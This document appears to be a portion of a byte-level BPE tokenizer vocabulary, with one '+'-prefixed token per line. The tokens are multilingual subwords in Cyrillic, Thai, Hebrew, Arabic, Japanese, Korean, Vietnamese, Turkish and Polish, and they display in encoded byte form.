+ĠбÑĭÑģÑĤÑĢо +สัà¸Ļ +Ġ×ijפ׳×Ļ +леÑĩ +ĠاÙĦخبر +Ġsóc +Ġthú +ĠпÑıÑĤ +ãģĬé¡ĺ +ãģĬé¡ĺãģĦ +ÑĤин +ãģ«ãģ¤ãģĦãģ¦ãģ¯ +פף +ĠдвÑĥÑħ +à¸įีà¹Ī +à¸įีà¹Īà¸Ľ +à¸įีà¹Īà¸Ľà¸¸ +à¸įีà¹Īà¸Ľà¸¸à¹Īà¸Ļ +опеÑĢ +ĠاÙĦبشر +ĠاÙĦÙħاÙĦ +ıyoruz +تØŃÙħÙĬÙĦ +à¸ģะ +éĸĵãģ« +×Ĺ×ķש +ĠNguyên +ãģĦãģ¦ãģĦãĤĭ +дÑĥÑĪ +שפע +ÑĪÑĥ +å®ŁéļĽãģ« +ĠÑĢайон +ĠChá»ī +ÙĨصر +Ġìļ´ +Ġìļ´ìĺģ +Ġ×Ķ×ĵ×Ļף +ØŃدد +رز +ĠاÙĦدÙħ +ĠPháp +ÑĤÑģÑı +è¦ĭãģĪ +Ġtiá»ĥu +Ġsá»Ńa +аÑİÑĤÑģÑı +ĠBá +Ġ×ķ׼׾ +Ðĸ +ÑĪим +ìĿ´ëĬĶ +лев +dık +Ġprésente +Ġaraç +صدÙĤ +Ġпомог +ĠاÙĦشرÙĤ +ĠÙĪØ§ÙĦذÙĬ +رÙĬا +×ij׳×ķת +Ġngá»ĵi +ר×ķפ +ר×ķפ×IJ +Ġthấp +ãĤĦãģ¯ +ãĤĦãģ¯ãĤĬ +ĠاÙĦجدÙĬدة +éĿŀ常ãģ« +ÙĬÙĦÙĬ +쪽 +تعاÙħÙĦ +ãģłã썿ĢĿãģĦãģ¾ãģĻ +ÙħÙħ +иÑĤели +ãĤµãĤ¤ãĤº +ادات +ĠاÙĦÙħاÙĦÙĬØ© +Ùĥاتب +кли +веÑĢÑħ +ниÑĩ +Ġ×ľ×¢×ij×ķ×ĵ +׾×Ļ×Ķ +ØŃÙİ +ãĤ¤ãĥĻ +ãĤ¤ãĥĻãĥ³ãĥĪ +Ġת×Ĵ×ķ×ij×ķת +ÑĦон +ĠдÑĢÑĥгие +×IJ×ĸ×ķר +Ġperò +ìķŀ +åĢŁãĤĬ +רצ×Ļ +×IJ×ĸ +алÑĮнÑĭÑħ +Ġê²ĥìľ¼ë¡ľ +ĠпÑĢаво +ĠاÙĦأرض +à¹Ģà¸Ĺà¸Ħ +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļ +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļà¹Ĥล +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļà¹Ĥลย +à¹Ģà¸Ĺà¸Ħà¹Ĥà¸Ļà¹Ĥลยี +צר×Ļ +ĠÐļÑĥ +ılma +決ãĤģ +اÙĪ +Ġ×ĵ×§×ķת +à¸Ħรู +ĠÙħستÙĪÙī +à¸Ľà¹īà¸Ńà¸ĩ +à¸Ľà¹īà¸Ńà¸ĩà¸ģัà¸Ļ +×ĵ×ķ×ŀ×Ķ +ĠÑģегоднÑı +سÙĪÙĤ +ר×Ĺ×ķ×ij +Ġإدارة +Ñħож +éģİãģİ +à¸Ħà¸Ń +нÑĥл +×ķ׼×Ķ +ÙĪØ§ÙģÙĤ +׼׾׾ +Ġ×Ķ×ĵ×ķ +ĠlÄ©nh +Ġkhảo +×IJ×ŀצע +머 +Ġ׼×Ļצ +Ġ׼×Ļצ×ĵ +ĠдолжнÑĭ +หวัà¸ĩ +ãĥĩãĤ¶ +ãĥĩãĤ¶ãĤ¤ãĥ³ +Ġngá»Ŀ +ä¸Ńãģ« +à¸ģลัà¸ļมา +جÙħاÙĦ +à¸Ķัà¸ĩà¸ģลà¹Īาว +سÙĥÙĨ +سÙĨ +Ġözellikle +зеÑĢ +rzÄĻ +×ŀ×ķר×Ķ +Ġlạ +×ŀ×Ļ׳×Ļ +ר×Ļת +ãģĿãĤĮãģĮ +ãģĭãĤĮ +ĠÙĬÙħÙĥÙĨÙĥ +öffentlich +ган +ĠاÙĦØŃÙĦ +ĠmiÄĻdzy +ĠÑĩаÑģÑĤи +ujÄħcy +ĠbaÄŁlı +ĠiliÅŁki +ÙģØ§Ø¡ +ãĥªãĥ³ãĤ° +Ġhãng +ĠконÑĤÑĢ +ĠконÑĤÑĢол +коп +ש×Ļ×¢ +ש×Ļ×¢×ķר +ĠÐĴаÑĪ +Ġ×Ķתק +ÙħÙĨع +ĠpolÃŃtico +Ġголов +ĠØ¥ÙĬ +Ø¥ÙĨتاج +à¸ļิ +ĠговоÑĢ +ĠговоÑĢиÑĤ +Ġphá»ķ +ĠÑģемÑĮ +ãģ¯ãģĤãĤĬãģ¾ãģĽãĤĵ +ĠÙĪØ§Ø³Øª +×ŀשפ×ĺ +зем +×ŀ×ĵ×ijר +Ġíģ° +ĠìĿ´ë²Ī +ê°ĢëĬĶ +Ġì§ĢìĽIJ +ĠcaÅĤy +ĠgeliÅŁtir +Ñģкое +posé +Ġkhô +à¸ķิà¸Ķà¸ķาม +missão +Ġ׾×ŀר +Ġ׾×ŀר×ķת +Ġbó +à¸ķรวà¸Īสà¸Ńà¸ļ +Ġnghá»ģ +Ġбиз +ĠбизнеÑģ +ÑģÑĤеÑĢ +ÙĪÙİ +楽ãģĹãģ +楽ãģĹãģ¿ +ãģĵãĤĮãģĭãĤī +wiÄħzan +สà¸Ńà¸Ļ +ÙħÙĪØ± +׳×ĵ׾ +Ġ×Ķ×IJ×ĵ×Ŀ +Ġмолод +ØŃÙħا +ØŃÙħاÙĬØ© +ÑģÑĤÑĢан +Ġbuá»ķi +ת×Ļ×Ļ×Ŀ +abileceÄŁi +Lİ +à¹Ģยà¸Ńะ +à¸Īร +سÙĥاÙĨ +à¸Ļัà¸Ķ +Ġmấy +ĠÐijа +sÅĤaw +ĠÙģÙĦا +ĠкоÑĤоÑĢой +ĠплоÑī +ĠплоÑīад +ãĤĤãģĤãĤĬ +szczÄĻ +×Ļפ×ķ +ש×ŀת +owaÅĤa +Ġnông +צ×ij×IJ +ĠìŀĪìĹĪ +ãģ¾ãģ¨ +ãģ¾ãģ¨ãĤģ +ÙĤÙĪØ§Øª +ãģ¿ãĤĵãģª +Ġ׼×ŀ×¢×ĺ +Ġxúc +ï¼Ĩ +rÄĻ +rÄĻcz +×ĵ×ŀ×Ļ +ĠtáºŃn +à¸Ķวà¸ĩ +ê²½ìłľ +пÑĥÑĤ +أربع +Ġ×ŀשת×ŀש +ãĤ¿ãĤ¤ãĥĹ +Ġìłľê°Ģ +Ġ׾׼ף +ĠобÑĢазом +ÙĬÙĥا +wÅĤ +wÅĤasn +ĠاÙĦÙĪØ·ÙĨÙĬØ© +بÙĬب +×ŀ׾×Ļ +кÑĢаÑĤ +기ìĹIJ +ÙĤاد +ĠÙĦدÙī +à¸Ħวามรูà¹ī +×ŀ×ĵ×Ļ׳×Ļ×ķת +겨 +ĠíĺĦìŀ¬ +שת×Ļ +мол +Ġmái +à¸ŀิม +à¸ŀิมà¸ŀ +à¸ŀิมà¸ŀà¹Į +หลวà¸ĩ +Ġxuyên +×Ĺסר +رÙĪÙĨ +ãģĿãģĨãģĦãģĨ +ãģĿãĤĮãģŀ +ãģĿãĤĮãģŀãĤĮ +Ġ׼ש×Ķ +ÐŁÑĢав +×ŀ×ijצע +عرب +Ġbüyü +פ×Ļת×ķ×Ĺ +à¸Īà¸ļ +ĠØ£Ùĥبر +שרת +×ŀ׼ש×Ļר +ĠÙĪÙħع +ãģ®ãģŁãĤģãģ« +à¸Ļัà¸ļ +ì°° +ãĥªãĥķãĤ© +ãĥªãĥķãĤ©ãĥ¼ãĥł +Ġcưá»Ŀng +ĠìłĢíĿ¬ +ÙħÙĨظÙħØ© +Ġhiçbir +ãģ§ãģ¯ãģĤãĤĬãģ¾ãģĽãĤĵ +รà¸Ńย +ëIJľëĭ¤ +ãģĻãģIJãģ« +кла +Ġürünler +Ġkiá»ĥu +ĠëĤĺëĬĶ +ÑĤки +Ñģим +Ġchá»īnh +ãĤĤãģªãģĦ +ศรี +æĽ¿ãģĪ +taÅŁ +ĠبÙĥÙĦ +Ġ×ķ×Ļש +visão +ä¼Ŀ +ä¼ĿãģĪ +ÙĦد +׾×Ļ×ŀ +׾×Ļ×ŀ×ķ×ĵ +tória +دÙij +اÙħر +Ġê·¸ëłĩê²Į +ĠmateriaÅĤ +à¸Ĺรา +à¸Ĺราà¸ļ +ã쮿ĸ¹ãģĮ +ãģ¦ãģįãģŁ +ضغ +ضغط +ĠÙĬعÙĨÙĬ +ело +×IJ×Ķ×ij×Ķ +×¢×ŀ +ÅŁÄ±k +ìŀIJëĬĶ +ãĤ¿ãĥ³ +ĠbáºŃt +×ŀשפ×Ĺ×Ķ +кÑĢи +бли +สัà¸ķ +สัà¸ķวà¹Į +ĠسÙĨÙĪØ§Øª +ĠPhương +ãģ¦ãģĹãģ¾ãģ£ãģŁ +ãģªãģľ +Ġ×ij×IJ×ķ +Ġcán +سجÙĦ +Ġlẽ +ãĤ±ãĥ¼ãĤ¹ +Ġ×§×Ļ×ij׾ +à¸ļà¸Ĺà¸Ħวาม +Ġ×ķ׼ף +ĠпÑĢедÑģÑĤавлен +Ġná»iji +Ġcomentário +ением +Ġtá»ı +lÃł +Ġש×Ķ×Ļ×Ķ +Ñģлав +ĠاÙĦÙĪÙĦا +ĠاÙĦÙĪÙĦاÙĬات +ÙĦجÙĨØ© +×§×ķר×IJ +бÑĭÑĤ +Ġì¦ +Ġì¦ī +ãģ§ãģĻãģĹ +หรืà¸Ńà¹Ħมà¹Ī +заÑīиÑĤ +ÙģÙĦسطÙĬÙĨ +Ġmiá»ħn +à¹Ģยà¹ĩà¸Ļ +ĠçalÄ±ÅŁan +×Ļ×Ĵ×Ķ +ĠEÄŁ +ĠEÄŁitim +ãĥĥãĤ·ãĥ¥ +ĠопÑĭ +ĠопÑĭÑĤ +رغ +رغب +ĠÑģвоиÑħ +à¸Ľà¸£à¸°à¸ķ +à¸Ľà¸£à¸°à¸ķู +Ġ×ŀ×IJ×ĵ +׼×ķ׳×Ļ×Ŀ +à¸Ļี +ĠвÑĭÑħод +ãģ®ä¸Ńãģ« +פ׾×IJ +ĠÙĪÙĦÙĬس +פ×ķרס +פ×ķרס×Ŀ +ÙħسÙĦÙħ +Ġngôi +×ĵ×ŀ×ķת +ãĤĴ使ãģ£ãģ¦ +ĠпомоÑīÑĮÑİ +أسر +блок +ÙĤÙĩ +ãģĹãģ¾ãģĦ +ãģ¨ãģĹãģŁ +ĠпеÑģ +ãĥīãĥ« +×Ĺ×Ŀ +ãģĹãģªãģĮãĤī +ĠÐŁÑĢед +ãĥģãĤ§ãĥĥãĤ¯ +å¼·ãģĦ +ש×Ļר×ķת +даеÑĤ +×Ļ×ij×ķ +Ġgenç +илаÑģ +илаÑģÑĮ +ĠبÙĦد +æĤª +æĤªãģĦ +Ġ×ŀשת +æ§ĺãĢħ +æ§ĺãĢħãģª +à¸ĺรรมà¸Ĭาà¸ķิ +ĠÙĥاÙħÙĦ +ĠاÙĦسÙħ +×ij×ĺ×Ļ×Ĺ +cá +gência +ãĤ¹ãĤ¿ãĥ¼ +à¸Ĺำà¸ģาร +×Ļ×ľ×ª +Ġ×Ļ×ķצ×IJ +wój +à¸ļุà¸Ħ +à¸ļุà¸Ħà¸Ħล +عتÙħ +عتÙħد +ãģĿãĤĮãģ« +ĠاÙĦتارÙĬØ® +ÙĤراء +Ġyönetim +קשר +ĠÑģпоÑĢÑĤ +Ġר×IJש×ķף +Ġseñal +Ġchắn +çĦ¡ãģĦ +ĠдоÑģÑĤаÑĤ +ĠдоÑģÑĤаÑĤоÑĩно +Ġágua +à¸ģรà¸ĵ +à¸ģรà¸ĵี +Ġ×ŀש×ķ +Ġtrải +ë²Į +ujÄħcych +ÙģØ±Ø¯ +à¹ĥà¸ģล +à¹ĥà¸ģลà¹ī +ãĤĭãģ®ãģ¯ +ר×ķ×ķ×Ĺ +ÙĨÙĥ +ĠاÙĦÙĨÙĤ +ãģ®ãģ§ãģĹãĤĩãģĨ +ãģ®ãģ§ãģĹãĤĩãģĨãģĭ +ÙħعرÙģ +ÙħعرÙ쨩 +ÑĥÑīе +Ġ×ij×¢×Ļקר +تصÙĦ +Ġ×Ķ×IJר +Ġ×Ķ×IJרץ +ĠÅŀi +à¸Ĥาà¸Ķ +íŀĺ +ãģªãĤĵãģ¨ +ĠìĤ¬ëŀij +lÃ¼ÄŁÃ¼ +باء +ĠاÙĦآخر +ĠfamÃŃlia +ĠTháng +ÑīениÑı +ãĤ¯ãĥŃ +ĠThứ +æĽ¸ãģį +енной +ìŀ¡ +благ +благо +пов +à¹ģว +à¸ĩà¸Ħà¹Į +à¸Ńัà¸Ļà¸Ķัà¸ļ +ãģĤãģĴ +รà¹īาย +ünün +Ġ×Ļ׼×ķ׾×Ķ +зон +ĠÐľÐ¸ +маÑĤеÑĢиал +Ġë³´ë©´ +ØŃÙ쨏 +êÌģ +ãģ«ãģĻãĤĭ +Ġת×IJ +Ġ×Ķס×ķ +ĠÑģÑĤоÑĢ +ĠÑģÑĤоÑĢон +ãĥĪãĥĥãĥĹ +ÅĤoÅĽÄĩ +ëħ¼ +ëĵĿ +ĠÙĪØ§ÙĦع +ì¶Ķ +Ġ×Ļצ×IJ +ĠÑĢаздел +алÑĮнаÑı +×IJ׳ש×Ļ +spoÅĤ +spoÅĤec +spoÅĤeczn +إعÙĦ +إعÙĦاÙĨ +ÙĤÙĪÙī +íķĺë©´ìĦľ +تطÙĪØ± +Ġsiêu +Ỽt +дви +движ +Ġquần +kıl +ĠпÑĢизна +ĠHã +ĠHãy +ĠباÙĦت +manın +ãĤ«ãĥ« +Ġká»· +ק׾×Ļ +ëIJĺì§Ģ +تعÙĦÙħ +ìĭľìĦ¤ +ìĭ¶ +íĺ¼ +ÙĥÙĬÙģ +売ãĤĬ +วิà¸Ĭา +бал +ĠØ£ØŃ +Ġдолжен +ราà¸ĩ +ราà¸ĩวั +ราà¸ĩวัล +Ùħاء +جار +Åļ +Ġ×ŀ×IJ×ĸ +ר×ŀ×Ķ +ãģĭãĤĤãģĹãĤĮãģªãģĦ +étude +czÄħc +Ġgór +×ł×¡×Ķ +ÙħÙĬد +ĠÐŁÐµÑĢе +أخر +ãģĿãģ®å¾Į +à¹Ģà¸Ķียวà¸ģัà¸Ļ +×ŀ×Ĵ×ķ +×ŀ×Ĵ×ķ×ķף +дов +masına +×¢×ł×Ķ +ãĤ±ãĥĥãĥĪ +סע +סע×Ļ×£ +ĠTư +Ġtóc +íĻľëıĻ +ĠÐŀд +ĠÐŀднако +Ġdolayı +ؤÙĥد +ê³Ħíļį +׾ר +веÑĩ +Ġkhợi +Ġthá»§y +×ĵף +รà¸ģ +à¸ļัà¸ķร +à¹Ģà¸ģà¹Īา +ĠاÙĦثاÙĦ +ĠاÙĦثاÙĦØ« +Ġpodrá +ער×Ļ +ÙĨجاØŃ +Ġkhắc +측 +İM +ãĤ»ãĥĥãĥĪ +żenia +Ġ׾×Ĺ×ijר +erÃł +ì´Ī +Ġküç +Ġküçük +اتÙĩÙħ +à¸ĭà¹Į +ÙħشارÙĥØ© +ĠاÙĦبط +Ġdây +еннÑĭм +à¸Ĺีà¹Īà¹Ħมà¹Ī +ÙĤÙİ +Ġvượt +Ġtrì +ĠwpÅĤyw +AÅŀ +зо +ĠاÙĦسÙĬد +à¸Ĺะà¹Ģล +ĠÑģодеÑĢжа +عطÙĬ +ĠاÙĦعÙĨ +èĢħãģĮ +à¹Ģหà¸Ļ +à¹Ģหà¸Ļืà¸Ń +ĠbÃŃ +Ġüzerinden +ĠVÅ© +Ġnuôi +ÙĨÙħ +алÑĮного +×¢×Ļף +ØŃضر +ĠоÑĤдел +ëªĩ +ìķ¡ +ĠÙĦدÙĬÙĩ +ìĻľ +Ġsektör +Ġвозможно +ĠÐĶж +Ġhô +äºĭãģĮ +иÑĢование +алÑĮной +Ġ미êµŃ +رØŃÙĦ +ĠÑįкÑģ +пÑĢавлÑı +Ġnhá»Ŀ +ĠÄijẩ +ĠÄijẩy +ÙģÙĥر +ĠÙĪØ£Ø¶Ø§Ùģ +ãĥIJãĤ¹ +ת×ķ׼׳×Ļת +ÑĤелей +ĠØ¥ÙĦÙĬÙĩ +ãģ¨è¨Ģãģ£ãģ¦ +Ġдве +Ġchấp +ĠLö +à¸Ħลิ +à¸Ħà¸¥à¸´à¸Ľ +ĠسÙĪØ± +ĠسÙĪØ±ÙĬا +×ŀ×Ĺ×ķ +stä +доб +Ġniá»ĩm +ãģ®å¤§ +פר×ķ×Ļ×§ +פר×ķ×Ļ×§×ĺ +ĠChâu +Ġ×ŀ×Ķ×Ŀ +Ñģким +ĠполÑĥÑĩиÑĤÑĮ +ÙĬÙĪÙħ +Ø«ÙĪØ± +פ×ķ׾×Ļ×ĺ +פ×ķ׾×Ļ×ĺ×Ļ +ĠмеÑģÑıÑĨ +åħ¨ãģ¦ +ĠاÙĦÙħجÙĦس +ĠاÙĦتاÙĦÙĬ +Ġ×Ĺר +åIJijãģij +׼×ŀ×Ķ +бед +أعض +أعضاء +ÙĪÙĦد +วà¹Īาà¸Īะ +Ġbánh +à¸Ļิย +à¸Ļิยม +à¸Ľà¸£à¸°à¸ģัà¸Ļ +ÑģÑĤавиÑĤÑĮ +à¸ŀà¸Ļัà¸Ļ +ĠÑįÑĦÑĦ +ĠÑįÑĦÑĦекÑĤив +ĠавÑĤоÑĢ +ĠÄIJÄĥng +ĠthÆ°á»Łng +ãĤĴæĦŁãģĺ +à¸ģัà¸ļà¸ģาร +å¾Įãģ« +ĠyaÄŁ +ستاÙĨ +Ġliá»ģn +ãģĦãģ¾ +iêu +à¹Ĥà¸Ķà¸Ļ +ĠÙĦذÙĦÙĥ +à¹Ĥรà¸ĩà¹Ģรียà¸Ļ +צ×Ļ×Ĵ +ĠاÙĦÙħعÙĦÙĪÙħات +ç§ģãģŁãģ¡ +à¸Ĺีà¹Īà¸Ħุà¸ĵ +ãģ«ãģªãģ£ãģ¦ãģĦãĤĭ +×ŀ×ĵ×Ļ׳×Ķ +×¡×Ľ×Ŀ +Ġвне +à¸ŀà¸Ļัà¸ģà¸ĩาà¸Ļ +ÑĢей +à¹Ģà¸Īà¹īาหà¸Ļà¹īาà¸Ĺีà¹Ī +ĠHiá»ĩn +Ġmédico +ĠتØŃÙĤÙĬÙĤ +ÑĮÑĤе +miÅŁti +ÙĤÙĬادة +ãĤıãģĭãĤĬ +มาà¸Īาà¸ģ +ëħĢ +ãģ«éĸ¢ãģĻãĤĭ +×IJר×Ĵ×ķף +mètre +Ġעצ×ŀ×Ļ +ĠChúa +รูà¹īà¸Ī +รูà¹īà¸Īัà¸ģ +ì£Ħ +ëĭµ +à¹ģà¸Ĺà¹ī +Ġgeçen +Ġlança +ĠاÙĦبØŃØ« +×ĵ×ŀ×ķ +ãģ¯ãģĺ +ãģ¯ãģĺãĤģ +ĠdönÃ¼ÅŁ +è¿ijãģı +à¹Ģสม +à¹Ģสมà¸Ń +ëĿ½ +Ġüç +á»ŀ +ÑĪаÑı +à¸Ĺร +ØŃÙĤÙĬÙĤØ© +à¸Ĥà¸Ńà¸ĩà¸ģาร +Ġ무ìĹĩ +Ġ×Ķ׼ר +ĠاÙĦصÙĬÙĨ +ĠлÑİди +à¸ķาย +بÙĪÙĦ +Ġviêm +Ġthiá»ĩu +à¸ģà¸Ķ +Ġ׾×ĵ×ijר +פ׳×Ķ +×IJר×ij×¢ +سÙī +ĠاÙĦسÙĬاس +ĠاÙĦسÙĬاسÙĬØ© +ydı +ÙĪØŃØ¯Ø© +ĠдеÑıÑĤелÑĮноÑģÑĤи +Ġ×ķ×Ķ×ŀ +пеÑĩ +пеÑĩаÑĤ +иÑĢованиÑı +ĠÑģог +ĠÑģоглаÑģ +Ġ׼×ĵ +Ġ׼×ĵ×IJ×Ļ +ĠиÑģполÑĮзоваÑĤÑĮ +ספ×ķר×ĺ +Ġilçe +expérience +ĠThá»Ŀi +İK +à¹Ħà¸Łà¸Łà¹īา +ëĵ¤ìĹIJê²Į +à¸Ľà¸£à¸°à¹Ģà¸ł +à¸Ľà¸£à¸°à¹Ģà¸łà¸Ĺ +Ġmümk +Ġmümkün +Ġ×IJ×ķ×ª×ł×ķ +ìĦ±ìĿĦ +ĠìĿ´ìľł +زÙĬارة +Ġoldukça +rób +ĠØ£ÙĨا +Ġ×Ķ×ij×Ļ +Ñģен +×¢×Ļקר +×Ļ×ĵ×ķ×¢ +dzÄħ +ÙħعÙĦÙĪÙħات +شاب +Ġparça +à¸Ļะà¸Ħะ +باس +ĠÑĤоÑĢг +ĠÑĤоÑĢгов +Ġ×Ĺ×ĵר +׼ר×ĺ +׼ר×ĺ×Ļס +ĠAyrıca +ệ +ìľ¨ +ĠÑĤакие +Ġ×ŀצ×ķ×Ļ +ãĥ©ãĥ³ãĤŃãĥ³ãĤ° +ש×Ļ×ķ×ķ×§ +åīįãģ® +ĠBảo +ÑīÑĥ +æĹ©ãģı +ĠPhòng +à¸ŀระราà¸Ĭ +פ×Ĺ×ķת +Ġгл +Ġглаз +à¸Ĺà¹Īา +Ġdạy +ÑĢоÑģÑĤ +à¹Ĥà¸Ķยà¹Ģà¸īà¸ŀาะ +ĠquáºŃn +Ġ×Ĺ×ijר×ķת +même +mÄ±ÅŁtı +ĠاÙĦتداÙĪÙĦ +Ġnạn +Ġ×Ķ×ĵ×Ļ +ĠاÙĦطرÙĬÙĤ +×Ĵ×ķת +Ġ×Ķ×ĵר×ļ +ujÄħce +Ġchữ +ãĤĤãģ®ãģ® +ë°Ľ +ãģķãĤĵãģ¯ +Ġyardım +ĠاÙĦعÙħ +Ġì§Ħíĸī +Ġ×Ļ×Ĺ +Ġ×Ļ×Ĺס×Ļ +ĠاÙĦÙħدÙĬÙĨØ© +Ġcú +à¸ģีฬ +à¸ģีฬา +Ġniên +misión +׳×Ļס×Ļ +׳×Ļס×Ļ×ķף +ĠвозÑĢаÑģÑĤ +Ġ×¢×ķש×Ķ +ĠÙħدÙĬر +ÑıÑģÑĮ +ØŃجÙħ +íĻĺê²½ +ĠاÙĦأخرÙī +uÃŁer +ĠاÙĦعاÙĦÙħÙĬØ© +ĠNgá»įc +êµIJíļĮ +ä¸Ĭãģ§ +×Ļ×Ķ×ķ×ĵ +×Ļ×Ķ×ķ×ĵ×Ļ×Ŀ +Ùħساعدة +ĠжизнÑĮ +ĠпоÑĤомÑĥ +ĠاÙĦÙħÙħÙĦ +ĠاÙĦÙħÙħÙĦÙĥØ© +ĠGör +رÙIJ +×ŀ×§×ķ×ŀ×ķת +åĩºæĿ¥ãĤĭ +ÑĦÑĤ +ĠìĿ´ìłľ +ĠÑĢем +ĠÑĢемонÑĤ +ת×ķ×ļ +æĻĤãģ¯ +ãĤīãĤĮãģªãģĦ +altı +å®¶ãģ® +ĠاÙĦإعÙĦاÙħ +리ëĬĶ +ãģĭãĤīãģ¯ +ĠHạ +ãģĤãģ® +×ĵ×Ļ×ķף +رÙĬس +ĠsocietÃł +ĠاÙĦÙĥبÙĬر +Ġ×ij×ŀס +Ġ×ij×ŀס×Ĵר +Ġ×ij×ŀס×Ĵרת +ĠìŀĪìľ¼ë©° +Ġnặng +ÙĩÙī +ĠBÃł +×ŀר×ķ +ĠjÄĻ +ĠjÄĻzy +ĠjÄĻzyk +Ġ׼×ŀ×ķ×ijף +×¢×ľ×Ķ +à¸Ĺีà¹Īà¹Ħà¸Ķà¹ī +ãģ¾ãģĹãĤĩãģĨ +×ŀספר +ТÐŀ +سÙĬاسة +ĠкаждÑĭй +ë²ł +tım +yá»ĩn +รีà¹Ī +ĠдеÑĤÑģк +วิà¸ĺีà¸ģาร +mówi +×ĺ×¢×Ŀ +×Ķצ׾×Ĺ×Ķ +ضÙĬÙģ +ĠÑħоÑĤÑı +ãĤĵãģ§ãģĦãĤĭ +à¸Ħาà¸Ķ +à¸Ħรà¸ļ +ĠкÑĥÑĢÑģ +ĠbaÅŁarı +×ijר×ķ +ÙĬعة +ĠÐĿÑĥ +à¸Ħวามà¹Ģà¸Ľà¹ĩà¸Ļ +Ġ׾×ŀש׾ +Ġì¢ĭìĿĢ +Ùħؤسس +Ùħؤسسات +Ġprécis +Ġthảo +à¸ģà¹ĩà¸Ħืà¸Ń +Ġש׼׾ +führung +ãģĦãģ§ +à¹ģละมี +à¸ģà¹ĩมี +Ġשש +мел +Ġкниг +ĠباÙĦÙĨ +ĠباÙĦÙĨسبة +Ġaldı +ÑĤай +Ġ×Ĺ×ĵש×Ļ×Ŀ +å®Łãģ¯ +عÙĪØ§ +ĠìĿĺ미 +изм +ÑĢабоÑĤаÑĤÑĮ +Ù쨵 +Ġ×ij׳×ķסף +ãģ¨ãģĹãģ¦ãĤĤ +à¹Ģà¸Ľà¹ĩà¸Ļà¸Ĺีà¹Ī +ĠÑģледÑĥеÑĤ +èĢĥãģĪãģ¦ +Ġ׼×Ļ×ķ×Ŀ +ÑģÑĤÑĭ +׼׾׼׾×Ļ +æµģãĤĮ +ãĤĴãģ¤ãģij +ÑĩаÑĤ +×Ļ׼×ķף +×Ļר×Ļ +larıyla +ãĤ¤ãĥ¡ +ãĤ¤ãĥ¡ãĥ¼ãĤ¸ +׳×ĸ×§ +Ġciò +Ġsın +Ġsınır +à¸Ļà¸Ħร +каÑĤ +Ġlá»Ĺi +ëŀĮ +تÙģØ§Øµ +تÙģØ§ØµÙĬÙĦ +ëĨĵ +ĠÙħض +ilmiÅŁ +بارÙĥ +ÐĿÐĺ +Ġthẩm +Ġ×IJ×ķת×ļ +ĠпÑĢиним +ĠпÑĢинима +Ġyönt +Ġyöntem +Ġ×ŀ×§×ij׾ +Ġktórego +ê·Ģ +شرÙģ +داÙħ +ãģĦãĤįãģĦãĤį +ĠAlém +Ġgörü +Ġgörünt +Ġgörüntü +دس +ÑĪки +гÑĢад +Ġlạc +Ġsữa +ãĤīãĤĮãģ¾ãģĻ +oÃłi +Ñīен +ãģĭãģªãģĦ +Ġпоп +ĠпопÑĥ +ĠпопÑĥлÑıÑĢ +ĠاÙĦÙħÙĪÙĤع +räg +A +íķĦ +ãĤĴè¦ĭãĤĭ +اÙħا +ĠاÙĦØŃرب +ĠÐŁÐ° +Ġ׾×IJתר +Ġtá»ijc +×ij׾×Ķ +رئÙĬس +вÑĥ +ÙĬدÙĬ +казан +Ġ×Ĺש×ij×ķף +hôtel +×¢×ķ׳×Ķ +بÙĨÙĬ +×ŀ×ķ׾ +ĠднÑı +éĽ£ãģĹãģĦ +ведениÑı +Ġ×ķ×ŀת +напÑĢимеÑĢ +ÙĤابÙĦ +Ġrésultat +ĠÑĢазвиÑĤиÑı +رÙij +ìłĦ문 +ĠاÙĦÙħزÙĬد +ĠìľĦíķ´ìĦľ +ëĨį +íĻķ +ĠThiết +íĮ¨ +malıdır +ĠczÅĤ +ĠczÅĤowie +ĠczÅĤowiek +ĠÙĦبÙĨ +ĠÙĦبÙĨاÙĨ +üsü +ãģªãĤĵãģł +Ġżycie +ĠÑħоÑĢоÑĪо +æĸ¹ãģ« +ëĭ¤ë©´ +иÑĩеÑģкаÑı +ער×Ļ׼ +ער×Ļ×Ľ×ª +ãģ¾ãģĽãĤĵãģ§ãģĹãģŁ +ĠÑģобой +Ġgá»Ĺ +ĠделаÑĤÑĮ +daÄĩ +аÑĢа +różni +à¹Ģลีà¹ī +à¹Ģลีà¹īย +à¹Ģลีà¹īยà¸ĩ +à¸Ŀาà¸ģ +ĠتÙĤ +ĠتÙĤدÙĬ +ĠتÙĤدÙĬÙħ +หà¸Ļุà¹Īม +Ġmücade +Ġmücadele +ì§Ģ를 +ãĤ¤ãĤ¹ +Ġأساس +jÄħcego +ĠÅŁeh +нÑĤеÑĢ +ÑĨиÑİ +ï»» +ÑİÑīего +à¹Ĥà¸Ľà¸£à¹ģ +à¹Ĥà¸Ľà¸£à¹ģà¸ģรม +ĠmieÄĩ +ØŃÙĥÙĪÙħØ© +ãģ§ãģĹãģŁãģĮ +×Ļס×Ķ +ãĤĤãģ®ãĤĴ +Ġ×ŀ×IJת +สุà¸Ķà¸Ĺà¹īาย +ĠcÅ© +ÙĨسب +ĠпÑĢоÑĩ +Ġдней +ĠÑįÑĤиÑħ +׾×ŀת +нÑıÑı +Ñįк +Ġì§ĢëĤľ +มหาวิà¸Ĺยา +มหาวิà¸Ĺยาล +มหาวิà¸Ĺยาลัย +dão +ĠMáy +ĠêµŃê°Ģ +à¸ļุรี +×Ĵ×Ļ׾ +ĠÑĤÑĭÑģÑı +ĠÑĤÑĭÑģÑıÑĩ +ÙģÙĥ +ĠÐĺÑģ +è¡ĮãĤıãĤĮ +פר×ĵ +ãģ¤ãģį +à¸Ħรà¸Ńà¸ļ +à¸Ħรà¸Ńà¸ļà¸Ħรัว +à¸Ĥึà¹īà¸Ļมา +ä»ĬæĹ¥ãģ¯ +ĠìĤ¬ëŀĮìĿ´ +עצ×ŀ×Ķ +поÑĢ +ĠKỳ +ĠÆ¡n +ĠthÄĥm +Ù쨧ÙĤ +ãģļãģ« +Ġ׾קר +Ġ׾קר×ķ×IJ +اÙģÙĬØ© +ÙħÙİØ§ +гаÑĢ +صÙĦا +صÙĦاة +Ġ×ŀ×ĸ×Ķ +lıģını +Ġ×IJ×Ļ׳×Ķ +кÑĢо +Ġngươi +Ġвним +Ġвнимание +jÄħcy +ÙĢÙĢÙĢÙĢÙĢ +ÑģÑħод +ãģªãĤĵãģĭ +×ŀ×Ļ׾ +Ġ×Ķ×IJ×Ĺ +ãĤıãģªãģĦ +عسÙĥر +ĠìĦ¸ê³Ħ +ĠÑĩего +ĠÑģÑĢедÑģÑĤва 